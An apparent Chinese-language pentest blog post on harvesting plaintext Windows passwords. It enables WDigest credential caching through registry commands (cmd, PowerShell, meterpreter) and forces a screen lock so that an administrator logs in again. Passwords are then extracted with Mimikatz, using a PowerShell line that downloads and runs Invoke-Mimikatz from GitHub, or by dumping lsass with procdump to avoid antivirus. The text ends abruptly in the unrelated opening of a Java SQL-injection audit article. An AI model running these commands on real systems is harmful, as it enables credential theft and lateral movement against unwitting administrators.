Windows下抓取明文密码

关于 KB2871997

KB2871997 之前, Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)

以下是支持的系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

开启

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后,需要管理员重新登录才能逮到明文密码。

我们可以强制锁屏,让管理员重新登录。

  • cmd

    1
    rundll32 user32.dll,LockWorkStation
  • powershell

    1
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"

经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。

抓取明文

开启 Wdigest Auth 后,接下来就用常规的抓取明文的方式就行了。

Mimikatz

  1. powershell

    1
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  2. exe

    1
    2
    privilege::debug
    sekurlsa::logonpasswords

离线抓取

Mimikatz 被杀,可以先将 lsass 进程 dump 下来,在本地用 Mimikatz 读取。

  1. Dump 进程

    可以用微软提供的 procdump ,自带微软签名,可以过杀软。

    1
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
  2. Mimikatz 读取

    1
    2
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full

从1开始的Java代码审计·第三弹·SQL注入

前言

SQL注入是什么,有什么用,就不多介绍了。总结下漏洞的原因,主要是由于开发者对用户的输入没有做好过滤,直接将用户的输入带入到 SQL语句中,导致恶意用户可以控制服务器执行的SQL语句。

在 Java 中,操作SQL的主要有以下几种方式:

  1. java.sql.Statement

  2. java.sql.PrepareStatement

  3. 使用第三方 ORM 框架 —— MyBatisHibernate

下面我们来分析以上几种执行SQL的方式。

|